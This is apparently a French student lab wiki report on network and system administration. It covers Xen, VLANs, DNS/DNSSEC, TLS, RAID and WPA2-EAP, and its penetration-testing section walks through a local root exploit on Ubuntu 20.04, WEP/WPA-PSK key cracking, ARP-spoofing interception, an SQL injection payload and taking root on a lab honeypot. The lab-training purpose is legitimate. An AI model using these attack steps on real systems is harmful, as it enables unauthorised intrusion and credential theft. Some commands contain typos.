De retour sur le site honey.plil.info, nous remarquons la présence d'une seconde page avec formulaire : honey.plil.info/phpmyadmin. Mais nous n'avons pas le mot de passe. L'injection SQL ne semble pas fonctionner.

De retour sur la 1ere page, on se connecte sur honey.plil.info avec les identifiants récupérés par injection SQL. En exploitant bien comme il faut les fonctionnalités du site, on arrive à récupérer le mot de passe de notre seconde page.

On se connecte donc sur cette seconde page, et après quelques recherches dans la base de données, on retrouve un identifiant et un mot de passe.

On utilise cette découverte pour se connecter sur le serveur en SSH.

Cependant, cet utilisateur n'est pas root. Il peut néanmoins lire le fichier des mots de passe. On récupère ainsi le mot de passe haché de l'administrateur root.

Pour avoir mot de passe en clair, on réalise une attaque par force brute avec dictionnaire.

Nous construisons ce dictionnaire avec crunch en reprenant un indice donné dans l'énoncé.

Quelques temps plus tard... John the Ripper nous donne le mot de passe root !

Nous nous connectons sur le serveur en tant que root et nous y laissons la trace de notre passe "I_was_here_IMA_G8" :

[[Fichier:Hack-honey.png|600px]]

=Réalisations=

==Sécurisation de données : RAID 5 logiciel==

Tout d'abord, on crée 3 partitions virtuelles :

lvcreate -L1G -n piedbleu-raid1 storage

Ensuite, on modifie le fichier : /etc/xen/piedbleu.cfg, puis on redémarre la VM pour réaliser les actions qui suivent.

Tout d'abord, on installe le paquet mdadm.
apt instal mdadm

Ensuite, on construit notre volume RAID 5, et on s'assure qu'il fonctionne à chaque démarrage.
mdadm --create /dev/md0 --level=5 --raid-devices=3 /dev/xvda5 /dev/xvda6 /dev/xvda7
mdadm --monitor --daemonise /dev/md0

On formate notre volume RAID.
mkfs.ext4 /dev/md0

On rajoute cette ligne dans le fstab :
/dev/md0 /raid5 ext4 defaults 0 2

Pour finir, on peuple notre volume RAID.
mkdir /raid5
mount -a
touch /raid5/test

RAID 5 : on doit avoir minimum 3 disques, mais on peut survivre seulement à la perte d'un seul disque.
On peut donc supprimer une partition et toujours avoir accès à nos fichiers.

==Chiffrement de données==

Pour chiffrer la partition de notre clé USB et pouvoir y écrire des fichiers, on exécute les commandes suivantes :

fdisk -l # on repère la clé USB
fdisk /dev/sdb # on formate la clé en une seule partition
cryptsetup luksFormat /dev/sdb1 # on chiffre l'unique partition de la clé USB
cryptsetup luksOpen /dev/sdb1 myusbkey # on déchiffre la partition
mkfs.ext4 /dev/mapper/myusbkey # on formatte la partition en EXT4

Ensuite, on monte la clé USB, et on la peuple :

mkdir /mnt/USB
mount -t ext4 /dev/mapper/myusbkey /mnt/USB
touch /mnt/USB/mytestfile.txt

Une fois que l'on a fini, on démonte le système de fichier proprement :

umount /mnt/USB
cryptsetup luksClose myusbkey

==Sécurisation WiFi par WPA2-EAP ==

===FreeRADIUS===

Tout d'abord, on configure le serveur FreeRADIUS sur notre VM.

On installe le paquet :
apt install freeradius

Ensuite, on ajoute un périphérique client (point d'accès WiFi) dans le fichier /etc/freeradius/3.0/clients.conf :

client 10.60.100.10/24 {
shortname = Piedbleu
secret = pasglop
}

On ajoute un utilisateur FreeRADIUS "pifou" dans le fichier de configuration /etc/freeradius/3.0/users :

pifou Cleartext-Password := "pasglop"

Pour finir, on configure l'authentification PEAP-MSCHAPv2.

On modifie le fichier /etc/freeradius/3.0/mods-enabled/eap :

eap{
...
default_eap_type = peap
...
}

Puis on modifie le fichier /etc/freeradius/3.0/mods-enabled/mschap :

use_mppe = yes
require_encryption = yes
require_strong = yes
with_ntdomain_hack = yes

===Point d'accès WiFi===

Ensuite, on configure le point d'accès WiFi.

ssh root@10.60.100.10 -c aes128-cbc

aaa authentication login eap_group1 group radius_group8
radius-server host 193.48.57.181 auth-port 1812 acct-port 1813 key pasglop
aaa group server radius radius_group8
server 193.48.57.181 auth-port 1812 acct-port 1813
exit

Mise en place du ssid 'Piedbleu' et intégration dans le vlan 308 :

dot11 ssid Piedbleu
vlan 308
authentication open eap eap_group8
authentication network-eap eap_group8
authentication key-management wpa
Mbssid Guest-mode
exit

Liaison interface wifi dot11radio0 avec le vlan 308 et méthode encryption:

interface Dot11Radio0
Mbssid
encryption vlan 308 mode ciphers aes-ccm tkip
ssid Piedbleu
exit

Encapsulation:

int dot11radio0.8
encapsulation dot1q 308
bridge-group 8
exit
int Gi0.8
encapsulation dot1q 308
bridge-group 8
exit

En n'oubliant pas de démarrer l'interface :

int dot11radio0
no shutdown
end
write

Ping du point d'accès vers notre VM :

[[Fichier:Freeradius-ping.png|600px]]

On observe notre SSID "Piedbleu" :

[[Fichier:Freeradius-ssid.png|600px]]

On s'y connecte avec notre téléphone tout en lançant la commande :

freeradius -X

===DHCP===

'''6509E'''

ssh admin@100.64.0.1 -oKexAlgorithms=+diffie-hellman-group1-sha1 -c aes128-cbc

ip dhcp pool groupe8
dns 193.48.57.181
network 10.60.108.0 255.255.255.0
default-router 10.60.108.1
exit
ip dhcp excluded-address 10.60.108.0 10.60.108.99
ip dhcp excluded-address 10.60.108.150 10.60.108.255
write
exit
sh ip dhcp binding

'''C9200'''

ssh admin@10.60.100.2

ip dhcp pool groupe8
dns 193.48.57.181
network 10.60.108.0 255.255.255.0
default-router 10.60.108.2
exit
ip dhcp excluded-address 10.60.108.0 10.60.108.49
ip dhcp excluded-address 10.60.108.100 10.60.108.255
exit
write
sh ip dhcp binding

===Mascarade===

'''6509E'''

int vlan 308
ip nat inside

access-list 108 permit ip 10.60.108.0 0.0.0.255 any
ip nat inside source list 108 interface Loopback0 overload

=Ferme de serveurs Web=

==Architecture générale de la ferme==

===Configuration VM Capbreton===

Dans /etc/xen/capbreton.cfg, on ajoute une interface réseau :

vif = [ 'bridge=IMA5sc, mac=00:16:3E:FE:C2:6C',
'bridge=bridgeStudents, mac=00:16:3E:FE:C2:6D',
]

On redémarre ensuite la VM.

Dans /etc/network/interfaces, on configure notre nouvelle interface :

auto eth1
iface eth1 inet static
address 192.168.42.8
netmask 255.255.255.0

Pour finir, dans /etc/apt/apt.conf.d/01proxy on commente la 1ère ligne.

#Acquire::http::Proxy "http://proxy.polytech-lille.fr:3128";

===Configuration VM Chassiron===

Dans /etc/network/interfaces, on configure notre interface :

auto eth0
iface eth0 inet static
address 192.168.42.22
netmask 255.255.255.0
gateway 192.168.42.8

Ensuite, on commente la 1ère ligne de /etc/apt/apt.conf.d/01proxy :

#Acquire::http::Proxy "http://proxy.polytech-lille.fr:3128";

Puis on modifie le fichier /etc/resolv.conf :

domain plil.info
nameserver 192.168.42.8

===Mascarade===

On modifie le fichier /etc/systcl.conf :

net.ipv4.ip_forward=1

Ensuite, on lance les commandes :

apt install iptables-persistent

echo 1 > /proc/sys/net/ipv4/conf/all/forwarding

iptables -P FORWARD DROP
iptables -A FORWARD -j ACCEPT -d 192.168.42.22/32
iptables -A FORWARD -j ACCEPT -s 192.168.42.22/32
iptables -P FORWARD DROP
iptables -t nat -A POSTROUTING -j SNAT --to-source 193.48.57.181 -s 192.168.42.22/32

Pour tester :

ping 192.168.42.22 #sur la VM capreton
ping 192.168.42.8 #sur la VM chassiron
ping 8.8.8.8 #sur la VM chassiron
apt update #sur la VM chassiron

===Clés SSH===

On génère une paire de clés sur notre VM principale via la commande suivante (on fait 3x "entrée") :

ssh-keygen -b 2048

Ensuite, on propage notre clé publique sur toutes les VM secondaires :

for i in $(cat liste_ip.txt); do echo ssh-copy-id root@"$i"; done

Avec liste_ip.txt un fichier texte contenant les IP des VM secondaires.

Attention pour que cela fonctionne, il faut décommenter dans toutes les VM secondaires :

PermitRootLogin yes

dans le fichier /etc/ssh/sshd_config.

===Installation d'Ansible ===

Nous passons à la configuration de nos serveurs Web. Nous utilisons pour cela le système ansible.
Nous commençons par installer ansible sur notre VM principale :
apt install ansible

Dans le fichier /etc/ansible/hosts, nous créons un inventaire en séparant l’ensemble des serveurs externes du notre :

[[Fichier:hosts.png]]

===Ansible rôle MOTD===

Nous souhaitons dans cette partie configurer /etc/motd à l’aide d’ansible sur notre machine
Nous nous inspirons pour cette partie de la documentation d’ansible en ligne.Nous créons notre playbook dans lequel nous faisons le liens entre le rôle en question (configuration de motd) et notre vm secondaire sur chassiron :
fichier playbook.yml

Hosts : vmperso
Roles:
-{ role : adriagalin.motd }

Nous exécutons ensuite notre playbook.yml :
ansible-playbook playbook.yml

Nous obtenir le résultat voulu dans le fichier /etc/motd de notre vm située sur chassiron :

===Ansible rôle NTP===

==Installation de Docker==

Le but de cette partie est d’installer docker sur notre vm secondaire. Nous nous basons sur la documentation de geerlingguy. Après avoir télécharger les fichiers correspondants, nous modifions notre playbook.yml en redéfinissant les variables docker_apt_gpg_key et docker_apt_repository :

[[Fichier:play_docker.png || 600px ]]

Nous relançons playboot.yml, l'installations se déroule correctement sur notre VM secondaire.

==Création du conteneur==

==Configuration des serveurs internes==

==Equilibreur de charge==

TP sysres IMA5sc 2020/2021 G8

2020-12-17T16:20:57Z

Jsoulaim : /* Installation de Docker */

=Informations générales=

{| class="wikitable"
! Site web !! IP publique !! IP privée !! VLAN !! IPV4 !! IPV4 6509-E !! IPV4 C9200 !! IPV4 Routeur !! IPV6
|-
| https://www.piedbleu.site
| 193.48.57.181
| 100.64.0.21
| 308
| 10.60.108.0/24
| 10.60.108.1
| 10.60.108.2
| 10.60.108.254
| 2001:660:4401:60ba::0/64
|}

=Installation de la machine virtuelle Xen=

Tout d'abord, on fait un SSH sur capbreton.

Puis création de la machine virtuelle :

xen-create-image --hostname=piedbleu --ip=100.64.0.22 --netmask=255.255.255.0 --password=pasglop --dir=/usr/local/xen --dist=buster --gateway=100.64.0.5 --force

On renomme les LVM avec lv rename :

lvrename /dev/storage/piedbleu1 /dev/storage/piedbleu-home
lvrename /dev/storage/piedbleu2 /dev/storage/piedbleu-var

On obtient (lvdispaly) :

--- Logical volume ---
LV Path /dev/storage/piedbleu-home
LV Name piedbleu-home
VG Name storage
LV UUID UIBfvf-NW8A-iag9-WwcT-HiZu-53UW-u4DRMA
LV Write Access read/write
LV Creation host, time capbreton, 2020-10-12 16:38:58 +0100
LV Status available
# open 1
LV Size 10.00 GiB
Current LE 2560
Segments 1
Allocation inherit
Read ahead sectors auto
- currently set to 256
Block device 254:12

--- Logical volume ---
LV Path /dev/storage/piedbleu-var
LV Name piedbleu-var
VG Name storage
LV UUID yZPi6c-xffl-2PgT-YuXk-DYma-X15f-Uci6C1
LV Write Access read/write
LV Creation host, time capbreton, 2020-10-12 16:39:03 +0100
LV Status available
# open 1
LV Size 10.00 GiB
Current LE 2560
Segments 1
Allocation inherit
Read ahead sectors auto
- currently set to 256
Block device 254:13

Ensuite, on modifie le fichier : /etc/xen/piedbleu.cfg

Dans la catégorie "Disk device(s)", partie "disk", on ajoute les lignes suivantes :
phy:/dev/storage/piedbleu-home,xvda3,w',
phy:/dev/storage/piedbleu-var,xvda4,w',

Dans la catégorie "Networking", on ajoute :
bridge=IMA5sc

Ensuite, on lance la VM :

xl create -c /etc/xen/piedbleu.cfg

Par la suite, pour accéder à la VM, on fera :

xl console piedbleu

Dans la VM, on formate xvda3, xvda4 en ext 4 :
mkfs.ext4 /dev/xvda3
mkfs.ext4 /dev/xvda4

On modifie le fstab en ajoutant :

/dev/xvda3 /home defaults 0 2
/dev/xvda4 /var defaults 0 2

Et après on les monte :
mount -a

puis on fait un lsblk pour vérifier.

On obtient :

[[Fichier:Lsblk-g8-2021.png|480px]]

=Interconnexion de VLAN=

==Configuration IPv4==

Nous allons dans cette partie configurer notre VLAN personnel (308) sur les deux routeurs (9200 ET 6509-e) à l'aide du protocole VRRP.

'''Routeur C9200'''

Nous nous connectons en ssh à partir de notre VM:
ssh admin@10.60.100.2

ensuite :
int vlan 308
vrrp 48 address-family ipv4
address 10.60.108.254
preempt
vrrpv2
end
write

On quitte avec exit et on sauvegarde avec write.

La commande show vlan nous affiche bien notre VLAN configuré.

'''Routeur 6509-E'''

ssh admin@100.64.0.1 -oKexAlgorithms=+diffie-hellman-group1-sha1 -c aes128-cbc

int vlan 308
vrrp 48 ip 10.60.108.254
vrrp 48 preempt
vrrp 48 priority 110
end
write

On quitte et on sauvegarde de la même manière. La commande show vlan nous affiche bien notre vlan configuré.

==Configuration IPv6==

'''Routeur 6509-E'''

vlan 308
name piedbleu.site
exit
int vlan 308
no shut
ip address 10.60.108.1 255.255.255.0
ipv6 enable
ipv6 address 2001:660:4401:60ba::/64 eui-64
ipv6 nd prefix 2001:660:4401:60ba::/64 1000 900
ipv6 nd router-preference High
end
write

'''Routeur C9200'''

vlan 308
name piedbleu.site
exit
int vlan 308
no shut
ip address 10.60.108.2 255.255.255.0
ipv6 enable
ipv6 address 2001:660:4401:60ba::/64 eui-64
ipv6 nd prefix 2001:660:4401:60ba::/64 1000 900
ipv6 nd router-preference Low
end
write

=Services Internet=
==Accès à Internet==

Tout d'abord, on configure le fichier /etc/network/interfaces :

# The loopback network interface
auto lo
iface lo inet loopback
# The primary network interface
auto eth0
iface eth0 inet static
address 193.48.57.181
netmask 255.255.255.255
up ip address add dev eth0 100.64.0.21/24
up ip route add default via 100.64.0.2 src 193.48.57.181
down ip address del dev eth0 100.64.0.21/24
down ip route del default via 100.64.0.2 src 193.48.57.181
iface eth0 inet6 auto

Ensuite, on fait un ssh sur les 2 routeurs, puis:

enable
conf t
ip route 193.48.57.181 255.255.255.255 100.64.0.21
exit
write

On fait un ping pour tester :

ping google.fr

==Serveur SSH==
On modifie le fichier /etc/ssh/sshd_config.
Ensuite on active le serveur ssh :

service ssh start

Puis sur un autre terminal, on fait un :

ssh root@193.48.57.181

==Serveur DNS==

Tout d'abord, nous allons sur Gandi et nous paramétrons notre nom de domaine piedbleu.site de la façon suivante :

Nom de domaine > piedbleu.site > Glue Records
ns1.piedbleu.site
193.48.57.181

Nom de domaine > piedbleu.site > Serveurs de noms > Externe (au lieu de live Gandi DNS)
1er : ns1.piedbleu.site

Après avoir configuré notre nom de domaine, nous configurons notre serveur DNS sur notre VM.

Nous commençons par installer le paquet bind:

apt install bind9

Bind9 est notre serveur DNS que nous allons configurer. Cela se déroule en plusieurs étapes:

'''1ère étape: '''

Nous commençons par changer le nom du serveur dans le fichier /etc/resolv.conf

name serveur 127.0.0.1

L'adresse 127.0.0.1 spécifie que notre DNS correspond à notre machine (localhost).

'''2ème étape:'''
Dans le fichier /etc/bind/named.conf.local, nous créons une zone "piedbleu.site" qui spécifie que notre DNS ns1.piedbleu.site est notre DNS primaire :

zone "piedbleu" IN {
type master;
file "/etc/bind/db.piedbleu.site";
allow-transfer { 217.70.177.40; };
};

La dernière ligne nous permet d'autoriser le transfert des informations du DNS primaire (ns1.piedbleu.site) au DNS secondaire (ns6.gandi.net, ip:217.70.177.40;).

'''3ème étape:'''
Dans le fichier cat /etc/bind/db.piedbleu.site, nous configurons la zone "piedbleu.site":

;
; BIND data file for local loopback interface
;
TTL 604800
@ IN SOA ns1.piedbleu.site. root.piedbleu.site. (
3 ; Serial
604800 ; Refresh
86400 ; Retry
2419200 ; Expire
604800 ) ; Negative Cache TTL
;
@ IN NS ns1.piedbleu.site.
@ IN NS ns6.gandi.net.
ns1 IN A 193.48.57.181

Nous spécifions ns1.piedbleu.site comme étant notre localhost et root.piedbleu.site comme étant notre root.localhost.
Nous ajoutons ensuite nos deux NS (ns1.piedbleu.site et ns6.gandi.net) ainsi que l'adresse du premier NS (ip publique de notre VM) : 193.48.57.181.

Pour vérifier que notre configuration est bien réalisée, nous entrons la commande suivante:

host -t any piedbleu.site

Résultat :

[[Fichier:reponse.png | 600px]]

A présent, nous pouvons configurer le serveur de nom secondaire :
Nom de domaine > piedbleu.site > Serveurs de noms > Externe (au lieu de live Gandi DNS)
2ème : ns6.gandi.net

==Sécurisation de site web par certificat==

Tout d'abord, nous configurons un serveur mail afin d'être en mesure de recevoir le mail de confirmation de Gandi lorsque l'on va demander un certificat.

Dans le fichier cat /etc/bind/db.piedbleu.site, nous rajoutons la ligne suivante:

@ IN MX 100 ns1.piedbleu.site.

Nous installons ensuite postfix (configuration : "Internet Site", nom du site " piedbleu.site").

Nous ajoutons ensuite l'alias dans le fichier /etc/aliases

admin:root

et nous effectuons la commande :

newaliases

Nous pouvons maintenant envoyer des mails à l'adresse "admin@piedbleu.site". Ces mails sont visibles lorsque l'on tape la commande :

mailx

Dans un second temps, nous configurons notre serveur apache. Afin de configurer le serveur Apache2, nous avons besoin d'une clé asymétrique ainsi que d'un certificat signé par une autorité de certification (CA), qui sera Gandi.

Nous devons pour cela générer une demande de signature de certificat. Nous utilisons pour cela la commande suivante:

openssl req -nodes -newkey rsa:2048 -sha256 -keyout piedbleu.site.key -out piedbleu.csr

-newkey tsa:2048 permet de générer une requête CSR et une clé privée utilisant le chiffrement RSA sur 2048 bits.

-keyout piedbleu.site.key permet de sauvegarder le fichier de clé privée sous le nom "piedbleu.site.key".

-out piedbleu.csr permet de sauvegarder le fichier CSR sous le nom "piedbleu.csr".

À la suite de cette commande, nous entrons nos données d'identifications. Nous ferons attention à bien entrer le nom de domaine "piedbleu.site" pour le Common Name.

Nous obtenons deux fichiers: un fichier de clé privée .key ainsi qu'un fichier de CSR .csr.

Le fichier piedbleu.csr nous permet de faire une demande de certificat auprès de Gandi. Nous allons pour cela copier son contenu sur l'interface de Gandi lors de la procédure d'achat de certificat.

On reçoit alors un mail de vérification de la part de Gandi avec un lien et un mot de passe de vérification. Après avoir rentré le mot de passe dans la zone appropriée, nous avons pu récurer sur Gandi notre certificat ainsi qu'un certificat intermédiaire. Nous téléchargeons et plaçons ces certificats dans un répertoire spécifique:

/etc/ssl/piedbleu.site.crt
/etc/ssl/GandiStandardSSLCA2.pem

Nous copions aussi notre clé privée dans ce répertoire:

/etc/ssl/piedbleu.site.key

Nous pouvons maintenant passer à la configuration d'apache2 :

Tout d'abord, il est nécessaire d'activer le module SSL d'apache:

a2enmod ssl

Pour réaliser la configuration, nous modifions le fichier 000-default.conf. situé dans le répertoire /etc/apache2/sites-enabled. Nous modifions le VirutalHost dédié au HTTP (port 80) et le VirtualHost dédié au HTTPS (port 443):

<VirtualHost *:80>
ServerAdmin admin@piedbleu.site
DocumentRoot /var/www/html
ErrorLog ${APACHE_LOG_DIR}/error.log
CustomLog ${APACHE_LOG_DIR}/access.log combined
Redirect permanent / https://www.piedbleu.site/
</VirtualHost>
<VirtualHost 193.48.57.181:443>
ServerName piedbleu.site
ServerAlias www.piedbleu.site
DocumentRoot /var/www/html
CustomLog /var/log/apache2/secure_access.log combined
SSLEngine on
SSLCertificateFile /etc/ssl/piedbleu.site.crt
SSLCertificateKeyFile /etc/ssl/piedbleu.site.key
SSLCACertificateFile /etc/ssl/GandiStandardSSLCA2.pemSSLVerifyClient None
</VirtualHost>

La commande :
apachect1 configtest
nous indique bien que la syntaxe est correcte.

Nous devons aussi modifier la configuration de notre DNS (fichier db.piedbleu.site), en rajoutant un enregistrement de type A (address) :

www IN A 193.48.57.181

Pour que les modifications soient prises en compte, nous redémarrons apache2:

service apache2 restart

==Sécurisation du serveur DNS par DNSSEC==

Nous commençons tout d'abord par activer DNSSEC en ajoutant dans le fichier /etc/bind/named.conf.options l'option:
dnssec-enable yes

Nous souhaitons ensuite générer deux couples de clefs qui serviront pour le chiffrement. Avant cela, nous créons un dossier piedbleu.site.dnssec où seront stockées ces clefs.

Nous commençons par générer le couple de clefs asymétrique de signature de clefs de zone:
dnssec-keygen -a RSASHA1 -b 2048 -f KSK -n ZONE piedbleu.site

Nous générons ensuite le couple de clefs asymétrique de la zone pour signer les enregistrements:
dnssec-keygen -a RSASHA1 -b 1024 -n ZONE piedbleu.site

Nous renommons les deux paires de clefs obtenues de la manière suivante:
Kpiedbleu.site.+005+09001.key -> piedbleu.site-ksk.key
Kpiedbleu.site.+005+09001.private -> piedbleu.site-ksk.private
Kpiedbleu.site.+005+22902.key -> piedbleu.site-zsk.key
Kpiedbleu.site.+005+22902.private -> piedbleu.site-zsk.private

Nous incluons ensuite les deux clefs publiques dans notre fichier de zone:

$include /etc/bind/piedbleu.site.dnssec/piedbleu.site-ksk.key
$include /etc/bind/piedbleu.site.dnssec/piedbleu.site-zsk.key

Nous n’oublions pas d'incrémenter le numéro version pour que les modifications soient prises en compte.

On signe ensuite les enregistrements de la zone :
dnssec-signzone -o piedbleu.site -k piedbleu.site-ksk ../db.piedbleu.site piedbleu.site-zsk

Pour que le fichier signé soit pris en compte, nous modifions le fichier /etc/bind/named.conf.local pour utiliser la zone signée de suffixe .signed :

zone "piedbleu.site" IN {
type master;
file "/etc/bind/db.piedbleu.site.signed";
allow-transfer { 217.70.177.40; };
};

La dernière étape consiste à faire communiquer la partie publique de la KSK qui est présente dans le fichier piedbleu.site-ksk.key à Gandi.

service bind9 restart

Vérification:

Nous vérifions la configuration de notre DNS grâce au site : https://dnssec-analyzer.verisignlabs.com/

[[Fichier:dnssec1.png | 600px]]

L'utilisation de la commande :
dnssec-verify -o piedbleu.site db.piedbleu.site.signed

nous donne le résultat suivant:
Loading zone 'piedbleu.site' from file 'db.piedbleu.site.signed'
Verifying the zone using the following algorithms: RSASHA1.
Zone fully signed:
Algorithm: RSASHA1: KSKs: 1 active, 0 stand-by, 0 revoked
ZSKs: 1 active, 0 stand-by, 0 revoked

==IPv6==

Afin de pouvoir accéder à notre serveur via IPv6, on ajoute ces lignes dans /etc/bind/db.piedbleu.site

ns1 IN AAAA 2001:660:4401:60b2:216:3eff:fefe:c26c
www IN AAAA 2001:660:4401:60b2:216:3eff:fefe:c26c

Ensuite, on resigne le DNS :

dnssec-signzone -o piedbleu.site -k piedbleu.site-ksk ../db.piedbleu.site piedbleu.site-zsk

Et on redémarre bind9.

=Tests d’intrusion=

==Exploitation de failles du système : Ubuntu 20.04 en *exclusivité* ==

Plutôt que d'utiliser un ancien noyau Linux et des outils comme Metasploit, je vous propose en '''exclusivité dans le département IMA''' l'exploitation de plusieurs vulnérabilités dans la dernière version de Ubuntu, la 20.04.1, kernel 5.6. Ces exploits ont été publiés le 10/11/2020 et aujourd'hui, à l'heure où j'écris ces lignes nous sommes le 11/11/2020. En ce jour férié, en parcourant l'actualité IT, j'ai aperçu un article fort intéressant, que je vais reprendre ici pour obtenir les droits administrateurs sur une machine Linux.

1) J'installe Ubuntu 20.04 dans une VM.

2) Par défaut la session fait partie du groupe sudo, je fais donc un compte utilisateur standard pour mener à bien mon exploit, sinon c'est de la triche...

sudo adduser u1
su u1
id
uid=1001(u1) gid=1001(u1) groupes=1001(u1)

3) On fait un DOS (denial of service) sur accounts-daemon, pour ce faire on fait d'abord le lien symbolique suivant :

ln -s /dev/zero ~/.pam_environment

Puis on va dans Settings > Region and Language > Language, et on change de langue. On se rend vite compte que le CPU tourne à 100%. En faisant la commande :

top

On se rend compte que accounts-daemon utilise presque toutes les ressources CPU. On récupère son PID, puis on lui envoie le signal SIGSTOP.

kill -SIGSTOP 1098

Maintenant, on peut supprimer le lien symbolique qui a causé le DOS pour ne pas que l'exploit se relance à chaque nouvelle session.

rm ~/.pam_environment

Ici on va faire crasher le accounts-daemon, mais seulement une fois que l'on s'est déconnecté, on lance donc cette tâche en arrière-plan après 10 secondes.

nohup bash -c "sleep 10s; kill -SIGSEGV 1098; kill -SIGCONT 1098"

On se déconnecte de notre session.

Le menu "Welcome" de Ubuntu apparaît après quelques temps d'attente !! C'est le menu d'installation de Ubuntu qui est censé venir seulement la 1ere fois que l'on installe l'OS sur notre machine. On va donc être en mesure de configurer une nouvelle session qui aura les droits administrateurs sur la machine (et ce, sans supprimer les autres comptes). Un nouvel utilisateur apparaît sur la machine !

whoami
pwn
id
uid=1002(pwn) gid=1002(pwn) groupes=1002(pwn), 27(sudo)

'''Explication : '''

En changeant la langue dans "Region and Language", le programme accountsservice daemon (accounts-daemon) va lire le fichier .pam_environment situé dans le home. Cependant nous avons fait un lien symbolique malicieux pointant sur /dev/zero. Le programme va donc tourner en boucle infini car il n'arrivera jamais à finir de lire /dev/zero.

La deuxième faille réside dans le fait que accounts-daemon abaisse ses privilèges root en privilège standard seulement quand il lit le .pam_environment. Or il est enfermé dans une boucle infini grâce à notre lien malicieux. On va donc pouvoir lui envoyer les signaux SIGSTOP, SIGSEGV, SIGCONT sans avoir de droit root. En fait à la base l'abaissement de privilège est une protection pour empêcher de lire dans /etc/shadow par exemple...

Ensuite, on se déconnecte de notre session en lançant en arrière-plan le kill -SIGSEGV de accounts-daemon. Sauf que le gestionnaire de session gdm3 demande à accounts-daemon combien de session il y a afin de nous permettre de choisir laquelle on va utiliser pour se connecter. Accounts-daemon étant hors service, gdm3 va lire la valeur par défaut de priv->have_existing_user_accounts, qui est : "false". Gdm3 pense donc qu'il n'y a aucune session sur la machine et va lancer gnome-initial-setup.

'''Note 1 : ''' La faille semble avoir été rapidement patchée.

'''Note 2 : ''' Les failles exploitées lors de l'élévation de privilège :

accountsservice denial of service (GHSL-2020-187, GHSL-2020-188 / CVE-2020-16126, CVE-2020-16127)

gdm3 privilege escalation due to unresponsive accounts-daemon (GHSL-2020-202 / CVE-2020-16125)

'''Version du noyau et des parquets : '''
Ubuntu 20.04.1 LTS, kernel 5.6
gdm3, version 3.36.3-0ubuntu0.20.04.1
accountsservice, version 0.6.55-0ubuntu12~20.04.1

''' Source : '''

''How to get root on Ubuntu 20.04 by pretending nobody’s /home'', Kevin Backhouse, November 10 2020

https://securitylab.github.com/research/Ubuntu-gdm3-accountsservice-LPE

==Cassage de clef WEP d’un point d’accès WiFi==

Nous commençons tout d’abord par installer le paquet aircrack :

apt-get install aircrack-ng

À partir de là, nous listons la liste des interfaces wifi disponibles :

airmon-ng

[[Fichier:screen1.png|600px]]

On remarque que notre carte wifi est désignée par le nom wlp1s0mon.

Nous passons ensuite notre interface en mode monitor, pour écouter le trafic wifi aux alentours.

airmon-ng start wlp1s0mon

On peut ensuite lancer le scan des réseaux wifi environnants :

airodump-ng --encrypt wep wlp1s0mon

[[Fichier:Screen2.png|600px]]

On repère le point d’accès qui correspond au réseau wifi qui nous intéresse (cracotte 08). on récupère le bssid : 04:DA:D2:9C:50:57 , et le chanel : 3.

On capture ensuite les paquets émis par le point d’accès cible :

airodump-ng --write mon_fichier --channel 3 --bssid 04:DA:D2:9C:50:57 wlp1s0mon

[[Fichier:Screen3.png|600px]]

On se concentre sur l’indicateur #Data qui permet de savoir le nombre de paquets data collectés. Une fois que ce nombre atteint 30000, on lance dans un autre terminal le crack de la clé :

aircrack-ng -z mon_fichier-01.cap

[[Fichier:Screen4.png|600px]]

On voit que le programme a réussi à trouver la clé (message « Key Found »).

==Cassage de mot de passe WPA-PSK par force brute==

Nous allons dans cette partie continuer à utiliser aircrack. Les premières étapes sont similaires à celles pour le cassage d'une clé WEP. Nous commençons par lister les interfaces wifi disponibles (airmon-ng), puis on passe l'interface en mode monitor (airmon-ng start wlp1s0mon).

On lance ensuite le scan des réseaux wifi WPA PSK environnants :

airodump-ng --encrypt wpa-psk wlp1s0mon

[[Fichier:scankracotte.png || 600px]]

Cette commande nous permet d'obtenir des informations supplémentaires sur les réseaux wifi, comme le BSSID, le Channel, l'AUTH (le mode d'authentification), ainsi que l'ESSID.

Nous utilisons alors le BSSID ainsi que le Channel du réseau wifi kracotte03 avec la commande suivante:

airodump-ng wlp1s0mon --bssid 00:14:1B:60:8C:22 --ch 3 -w capture

Cette commande nous permet d'obtenir un handshake. Nous la laissons tourner en boucle jusqu'à ce que nous obtenions ce fameux handshake.

[[Fichier:Handshake1.png | 600px]]

Maintenant que nous avons obtenu le handshake, nous allons faire une attaque par force brute. Pour cela, nous générons tout d'abord toutes les combinaisons possibles de mots de passe de taille 8, composés uniquement de chiffre.

Pour construire ce dictionnaire, nous utilisons la commande crunch (que nous avons préalablement installée):

crunch 8 8 -o 12345678 > motdepasse.txt

Nous spécifions ici la longueur minimum et maximum du mot de passe (8), les caractères à utiliser (012345678), puis nous effectuons une redirection vers motdepasse.txt.

Ensuite, nous effectuons l'attaque par force brute avec la commande suivante :

aircrak-ng -a2 -b 00:14:1B:60:8C:22 -w motdepasse.txt *.cap

Comme la méthode force brute prend du temps, nous lançons l'attaque la nuit, en ssh sur notre zabeth. Quatre heures plus tard, nous obtenons le mot de passe de la kracotte :

[[Fichier:WPA-6.png|600px]]

==Attaque de type "homme au milieu" par usurpation ARP==

Tout d'abord, on installe dsniff sur l'eepc. Ensuite on le transforme en routeur :

apt install dsniff
export PATH=/sbin:/usr/sbin:$PATH
echo 1 > /proc/sys/net/ipv4/ip_forward

Ensuite on lance arpspoof pour placer l'eepc entre la zabeth et le routeur :

arpspoof -i enp4s0 -t 172.26.145.60 172.26.145.254

Ensuite, on trouve une page HTTP avec un petit formulaire POST. La page n'étant pas sécurisé par TLS ou SSL, les données seront échangées en clair. On ouvre Wireshark dans l'eepc et dans la zabeth on se rend sur un site vulnérable (par exemple : http://fabricarium-old.polytech-lille.fr).

En tentant de se connecter, on se rend compte que la requête POST a bien été transmise à l'eepc qui l'a redirigé vers le routeur :

[[Fichier:Mitm-pra.png|600px]]

==Intrusion sur un serveur d’application Web==

Tout d'abord, nous nous rendons sur honey.plil.info. Nous apercevons un formulaire, que l'on exploite par injection SQL :

' OR 1 = 1 --

D'un autre côté nous effectuons un nmap sur le serveur afin d'avoir une idée des services que l'on pourra exploiter.

nmap -T4 -A honey.plil.info

On obtient :

[[Fichier:Nmap-g8-2021 1.2.png|600px]]

Nous essayons de faire un ssh avec les id trouvés par injections SQL... sans succès.

De retour sur le site honey.plil.info, nous remarquons la présence d'une seconde page avec formulaire : honey.plil.info/phpmyadmin. Mais nous n'avons pas le mot de passe. L'injection SQL ne semble pas fonctionner.

De retour sur la 1ere page, on se connecte sur honey.plil.info avec les identifiants récupérés par injection SQL. En exploitant bien comme il faut les fonctionnalités du site, on arrive à récupérer le mot de passe de notre seconde page.

On se connecte donc sur cette seconde page, et après quelques recherches dans la base de données, on retrouve un identifiant et un mot de passe.

